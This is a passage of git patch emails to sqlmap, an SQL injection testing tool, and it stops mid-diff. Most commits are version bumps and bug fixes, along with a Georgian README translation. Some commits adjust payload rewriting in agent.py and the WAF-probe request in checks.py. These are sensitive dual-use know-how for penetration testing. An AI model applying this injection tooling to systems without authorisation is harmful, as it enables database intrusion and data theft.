Date: Tue, 5 Apr 2022 01:06:28 +0200 Subject: [PATCH 023/599] Minor update --- lib/core/settings.py | 2 +- thirdparty/six/__init__.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c1a9c37c04e..cd8ef7ee8fb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.4.1" +VERSION = "1.6.4.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/six/__init__.py b/thirdparty/six/__init__.py index 4e15675d8b5..d4fe9849f25 100644 --- a/thirdparty/six/__init__.py +++ b/thirdparty/six/__init__.py @@ -263,7 +263,7 @@ class _MovedItems(_LazyModule): MovedAttribute("reduce", "__builtin__", "functools"), MovedAttribute("shlex_quote", "pipes", "shlex", "quote"), MovedAttribute("StringIO", "StringIO", "io"), - MovedAttribute("UserDict", "UserDict", "collections"), + MovedAttribute("UserDict", "UserDict", "collections", "IterableUserDict", "UserDict"), MovedAttribute("UserList", "UserList", "collections"), MovedAttribute("UserString", "UserString", "collections"), MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"), From 52f2faf2cf596fa36c459131d6238e751fc1061f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 6 Apr 2022 22:41:12 +0200 Subject: [PATCH 024/599] Fixes #5059 --- lib/core/settings.py | 2 +- lib/core/threads.py | 11 +++++++++-- lib/utils/hashdb.py | 1 + 3 files changed, 11 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index cd8ef7ee8fb..83783ce6e29 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.4.2" +VERSION = "1.6.4.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index 2322e003c67..5a264930fcd 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -119,6 +119,13 @@ def setDaemon(thread): def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True): threads = [] + def _threadFunction(): + try: + threadFunction() + finally: + if conf.hashDB: + conf.hashDB.close() + kb.multipleCtrlC = False kb.threadContinue = True kb.threadException = False @@ -154,14 +161,14 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio infoMsg = "starting %d threads" % numThreads logger.info(infoMsg) else: - threadFunction() + _threadFunction() return kb.multiThreadMode = True # Start the threads for numThread in xrange(numThreads): - thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[threadFunction]) + thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[_threadFunction]) setDaemon(thread) diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 3123937950b..4ec53185bb3 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -62,6 +62,7 @@ def close(self): threadData = getCurrentThreadData() try: if threadData.hashDBCursor: + threadData.hashDBCursor.connection.commit() threadData.hashDBCursor.close() threadData.hashDBCursor.connection.close() threadData.hashDBCursor = None From fb3f4288049e3e456f62eb81019763a647bca619 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 7 Apr 2022 17:12:36 +0200 Subject: [PATCH 025/599] Fixes #5057 --- lib/core/agent.py | 5 +++++ lib/core/settings.py | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 56c387a4518..fac6f8d12d0 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -418,6 +418,11 @@ def adjustLateValues(self, payload): payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload) payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload) + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5057 + match = re.search(r"(=0x)(303a303a)3(\d{2,})", payload) + if match: + payload = payload.replace(match.group(0), "%s%s%s" % (match.group(1), match.group(2).upper(), "".join("3%s" % _ for _ in match.group(3)))) + return payload def getComment(self, request): diff --git a/lib/core/settings.py b/lib/core/settings.py index 83783ce6e29..a4174af4d41 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.4.3" +VERSION = "1.6.4.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From be987815c9c0da160a413b60ea8e9fbd5a2a91ff Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 21 Apr 2022 15:03:22 +0200 Subject: [PATCH 026/599] Patch for #5073 --- lib/core/settings.py | 2 +- sqlmap.py | 6 ++++++ 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index a4174af4d41..cd54fba94ae 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.4.4" +VERSION = "1.6.4.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 81cedef845e..910ebb3b59a 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -338,6 +338,12 @@ def main(): logger.critical(errMsg) raise SystemExit + elif "invalid maximum character passed to PyUnicode_New" in excMsg and re.search(r"\A3\.[34]", sys.version) is not None: + errMsg = "please upgrade the Python version (>= 3.5) " + errMsg += "(Reference: 'https://bugs.python.org/issue18183')" + logger.critical(errMsg) + raise SystemExit + elif all(_ in excMsg for _ in ("scramble_caching_sha2", "TypeError")): errMsg = "please downgrade the 'PyMySQL' package (=< 0.8.1) " errMsg += "(Reference: 'https://github.com/PyMySQL/PyMySQL/issues/700')" From 5eaf1d2d27c4abda1464a3fa23275ae0716d1b55 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 29 Apr 2022 17:32:16 +0200 Subject: [PATCH 027/599] Fixes #5076 --- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 70c839ea9ed..7d2fc2ae141 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -433,7 +433,7 @@ def __next__(self): def next(self): try: line = next(conf.stdinPipe) - except (IOError, OSError): + except (IOError, OSError, TypeError): line = None if line: diff --git a/lib/core/settings.py b/lib/core/settings.py index cd54fba94ae..7a04ca0df45 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.4.5" +VERSION = "1.6.4.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From aacb360d46a5353acf427c36658abc978d67dbe2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 4 May 2022 18:14:43 +0200 Subject: [PATCH 028/599] One patch related to #5087 --- lib/core/defaults.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/defaults.py b/lib/core/defaults.py index fb68b3d230d..d4109c94f52 100644 --- a/lib/core/defaults.py +++ b/lib/core/defaults.py @@ -16,7 +16,7 @@ "timeout": 30, "retries": 3, "csrfRetries": 0, - "saFreq": 0, + "safeFreq": 0, "threads": 1, "level": 1, "risk": 1, diff --git a/lib/core/settings.py b/lib/core/settings.py index 7a04ca0df45..c3ba758e776 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.4.6" +VERSION = "1.6.5.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 184454ba8ed3f3b8a7bf96d619b3fd07402867f0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 9 May 2022 14:54:28 +0200 Subject: [PATCH 029/599] Fixes #5093 --- lib/core/settings.py | 2 +- lib/utils/crawler.py | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c3ba758e776..6af7c8ae15a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.5.0" +VERSION = "1.6.5.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index e45116779d1..7ca93ef1697 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -126,6 +126,8 @@ def crawlThread(): pass except ValueError: # for non-valid links pass + except AssertionError: # for invalid HTML + pass finally: if conf.forms: threadData.shared.formsFound |= len(findPageForms(content, current, False, True)) > 0 From 2038512518a5fd1b9b8803942153e1f2527cc08b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 9 May 2022 15:15:06 +0200 Subject: [PATCH 030/599] Fixes #5091 --- lib/core/settings.py | 2 +- lib/request/connect.py | 12 +++++++----- 2 files changed, 8 insertions(+), 6 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6af7c8ae15a..8b4fb730f7a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.5.1" +VERSION = "1.6.5.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 61906643ddc..bf752bce9dc 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -922,11 +922,13 @@ class _(dict): socket.setdefaulttimeout(conf.timeout) - if conf.retryOn and re.search(conf.retryOn, page, re.I): - if threadData.retriesCount < conf.retries: - warnMsg = "forced retry of the request because of undesired page content" - logger.warn(warnMsg) - return Connect._retryProxy(**kwargs) + # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091) + if not sys.version.startswith("3.11."): + if conf.retryOn and re.search(conf.retryOn, page, re.I): + if threadData.retriesCount < conf.retries: + warnMsg = "forced retry of the request because of undesired page content" + logger.warn(warnMsg) + return Connect._retryProxy(**kwargs) processResponse(page, responseHeaders, code, status) From e8e7d66356aaa8904956e8a214b6256548b8dc54 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 13 May 2022 17:45:17 +0200 Subject: [PATCH 031/599] Patch for #5105 --- lib/core/settings.py | 2 +- sqlmap.py | 6 ++++++ 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 8b4fb730f7a..de316f1c648 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.5.2" +VERSION = "1.6.5.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 910ebb3b59a..d3c0a802e3a 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -452,6 +452,12 @@ def main(): logger.critical(errMsg) raise SystemExit + elif all(_ in excMsg for _ in ("PermissionError: [WinError 5]", "multiprocessing")): + errMsg = "there is a permission problem in running multiprocessing on this system. " + errMsg += "Please rerun with '--disable-multi'" + logger.critical(errMsg) + raise SystemExit + elif all(_ in excMsg for _ in ("No such file", "_'")): errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1] errMsg += "You should retrieve the latest development version from official GitHub " From 9dc13444786a2a9f4c5981873c4c411d13825889 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 13 May 2022 17:50:14 +0200 Subject: [PATCH 032/599] Patch for #5102 --- lib/core/settings.py | 2 +- sqlmap.py | 6 ++++++ 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index de316f1c648..ed9f3a124c6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.5.3" +VERSION = "1.6.5.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index d3c0a802e3a..2509251e98e 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -369,6 +369,12 @@ def main(): logger.critical(errMsg) raise SystemExit + elif "AttributeError: unable to access item" in excMsg and re.search(r"3\.11\.\d+a", sys.version): + errMsg = "there is a known issue when sqlmap is run with ALPHA versions of Python 3.11. " + errMsg += "Please downgrade to some stable Python version" + logger.critical(errMsg) + raise SystemExit + elif all(_ in excMsg for _ in ("Resource temporarily unavailable", "os.fork()", "dictionaryAttack")): errMsg = "there has been a problem while running the multiprocessing hash cracking. " errMsg += "Please rerun with option '--threads=1'" From 7d07976969965ff7fab6e13d5492f91cedb126a6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 13 May 2022 17:56:45 +0200 Subject: [PATCH 033/599] Fixes #5096 --- lib/core/readlineng.py | 9 ++++----- lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 6 deletions(-) diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index f0663e5b7de..a3cea35dcc8 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -5,12 +5,7 @@ See the file 'LICENSE' for copying permission """ -from lib.core.data import logger -from lib.core.settings import IS_WIN -from lib.core.settings import PLATFORM - _readline = None - try: from readline import * import readline as _readline @@ -21,6 +16,10 @@ except: pass +from lib.core.data import logger +from lib.core.settings import IS_WIN +from lib.core.settings import PLATFORM + if IS_WIN and _readline: try: _outputfile = _readline.GetOutputFile() diff --git a/lib/core/settings.py b/lib/core/settings.py index ed9f3a124c6..1faacd9dd6a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.5.4" +VERSION = "1.6.5.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 3aae1849bb9aba0831ea7873a0a2658e0fb8c5dd Mon Sep 17 00:00:00 2001 From: David Kadaria <94402615+davidkadaria@users.noreply.github.com> Date: Fri, 13 May 2022 20:13:02 +0400 Subject: [PATCH 034/599] Translated into Georgian (#5095) --- README.md | 1 + doc/translations/README-ka-GE.md | 49 ++++++++++++++++++++++++++++++++ 2 files changed, 50 insertions(+) create mode 100644 doc/translations/README-ka-GE.md diff --git a/README.md b/README.md index 2c85d793741..3ac67dbca9b 100644 --- a/README.md +++ b/README.md @@ -57,6 +57,7 @@ Translations * [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) * [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md) * [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md) +* [Georgian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ka-GE.md) * [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-GER.md) * [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) diff --git a/doc/translations/README-ka-GE.md b/doc/translations/README-ka-GE.md new file mode 100644 index 00000000000..83c2fc6e78f --- /dev/null +++ b/doc/translations/README-ka-GE.md @@ -0,0 +1,49 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) + +sqlmap არის შეღწევადობის ტესტირებისათვის განკუთვილი ინსტრუმენტი, რომლის კოდიც ღიად არის ხელმისაწვდომი. ინსტრუმენტი ახდენს SQL-ინექციის სისუსტეების აღმოჩენისა, გამოყენების და მონაცემთა ბაზათა სერვერების დაუფლების პროცესების ავტომატიზაციას. იგი აღჭურვილია მძლავრი აღმომჩენი მექანიძმით, შეღწევადობის პროფესიონალი ტესტერისათვის შესაფერისი ბევრი ფუნქციით და სკრიპტების ფართო სპექტრით, რომლებიც შეიძლება გამოყენებულ იქნეს მრავალი მიზნით, მათ შორის: მონაცემთა ბაზიდან მონაცემების შეგროვებისათვის, ძირითად საფაილო სისტემაზე წვდომისათვის და out-of-band კავშირების გზით ოპერაციულ სისტემაში ბრძანებათა შესრულებისათვის. + +ეკრანის ანაბეჭდები +---- + +![ეკრანის ანაბეჭდი](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +შეგიძლიათ ესტუმროთ [ეკრანის ანაბეჭდთა კოლექციას](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), სადაც დემონსტრირებულია ინსტრუმენტის ზოგიერთი ფუნქცია. + +ინსტალაცია +---- + +თქვენ შეგიძლიათ უახლესი tar-არქივის ჩამოტვირთვა [აქ](https://github.com/sqlmapproject/sqlmap/tarball/master) დაწკაპუნებით, ან უახლესი zip-არქივის ჩამოტვირთვა [აქ](https://github.com/sqlmapproject/sqlmap/zipball/master) დაწკაპუნებით. + +ასევე შეგიძლიათ (და სასურველია) sqlmap-ის ჩამოტვირთვა [Git](https://github.com/sqlmapproject/sqlmap)-საცავის (repository) კლონირებით: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap ნებისმიერ პლატფორმაზე მუშაობს [Python](https://www.python.org/download/)-ის **2.6**, **2.7** და **3.x** ვერსიებთან. + +გამოყენება +---- + +ძირითადი ვარიანტებისა და პარამეტრების ჩამონათვალის მისაღებად გამოიყენეთ ბრძანება: + + python sqlmap.py -h + +ვარიანტებისა და პარამეტრების სრული ჩამონათვალის მისაღებად გამოიყენეთ ბრძანება: + + python sqlmap.py -hh + +გამოყენების მარტივი მაგალითი შეგიძლიათ იხილოთ [აქ](https://asciinema.org/a/46601). sqlmap-ის შესაძლებლობათა მიმოხილვის, მხარდაჭერილი ფუნქციონალისა და ყველა ვარიანტის აღწერების მისაღებად გამოყენების მაგალითებთან ერთად, გირჩევთ, იხილოთ [მომხმარებლის სახელმძღვანელო](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +ბმულები +---- + +* საწყისი გვერდი: https://sqlmap.org +* ჩამოტვირთვა: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ან [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS არხი: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* პრობლემებისათვის თვალყურის დევნება: https://github.com/sqlmapproject/sqlmap/issues +* მომხმარებლის სახელმძღვანელო: https://github.com/sqlmapproject/sqlmap/wiki +* ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots From a14a3d0e5481392e172a395c2f9646e77e98800c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 4 Jun 2022 00:10:24 +0200 Subject: [PATCH 035/599] Fixes #5113 --- lib/core/settings.py | 2 +- lib/utils/hashdb.py | 4 ++++ 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1faacd9dd6a..7c35bc28c68 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.5.5" +VERSION = "1.6.6.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 4ec53185bb3..4b346a77185 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -198,6 +198,10 @@ def endTransaction(self): threadData.inTransaction = False except sqlite3.OperationalError: pass + except sqlite3.ProgrammingError: + self.cursor = None + threadData.inTransaction = False + return else: return From 7008361017f82ec62c53e7b41b855cef724b2d3a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 4 Jun 2022 00:14:10 +0200 Subject: [PATCH 036/599] Minor version bump --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 7c35bc28c68..fad7a093243 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.6.0" +VERSION = "1.6.6.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 4a355b99be0e9aaf1f5ec0362dc5e636e65c7990 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 13 Jun 2022 04:34:11 +0200 Subject: [PATCH 037/599] Minor update of error regex for Presto --- data/xml/errors.xml | 1 + lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/data/xml/errors.xml b/data/xml/errors.xml index de6786dc99f..59ae1e8e22a 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -199,6 +199,7 @@ + diff --git a/lib/core/settings.py b/lib/core/settings.py index fad7a093243..8089b02ab1b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.6.1" +VERSION = "1.6.6.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 07ae3779877ec41b131474b9d5e46d8464922cd4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 13 Jun 2022 04:41:52 +0200 Subject: [PATCH 038/599] Minor patch (some middleware doesn't like switching from GET to POST) --- lib/controller/checks.py | 3 +-- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index a1a53878e58..1b0e0dd2b83 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1367,11 +1367,10 @@ def checkWaf(): retVal = False payload = "%d %s" % (randomInt(), IPS_WAF_CHECK_PAYLOAD) + place = PLACE.GET if PLACE.URI in conf.parameters: - place = PLACE.POST value = "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload)) else: - place = PLACE.GET value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload)) diff --git a/lib/core/settings.py b/lib/core/settings.py index 8089b02ab1b..601a545a978 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.6.2" +VERSION = "1.6.6.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 99f07b64c538f6cea91c4efeb08529edd5fea823 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 16 Jun 2022 11:22:44 +0200 Subject: [PATCH 039/599] Fix related to the #5122 --- lib/core/agent.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index fac6f8d12d0..1a76f5375ed 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -134,7 +134,7 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N origValue = extractRegexResult(r"%s\s*:\s*(?P\d+)\Z" % quote, origValue) or extractRegexResult(r"(?P[^%s]*)\Z" % quote, origValue) else: _ = extractRegexResult(r"(?s)(?P[^\s<>{}();'\"&]+\Z)", origValue) or "" - origValue = _.split('=', 1)[1] if '=' in _ else "" + origValue = _.split('=', 1)[1] if '=' in _ else _ elif place == PLACE.CUSTOM_HEADER: paramString = origValue origValue = origValue[origValue.find(',') + 1:] diff --git a/lib/core/settings.py b/lib/core/settings.py index 601a545a978..f05b8bc407a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.6.3" +VERSION = "1.6.6.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 90b444c9270f7e9c05a450e9eecf9d6b99722429 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 22 Jun 2022 11:58:09 +0200 Subject: [PATCH 040/599] Minor adjustments --- lib/core/settings.py | 2 +- lib/core/testing.py | 2 +- sqlmap.py | 8 +++++--- 3 files changed, 7 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index f05b8bc407a..fb5df82e753 100644 --- 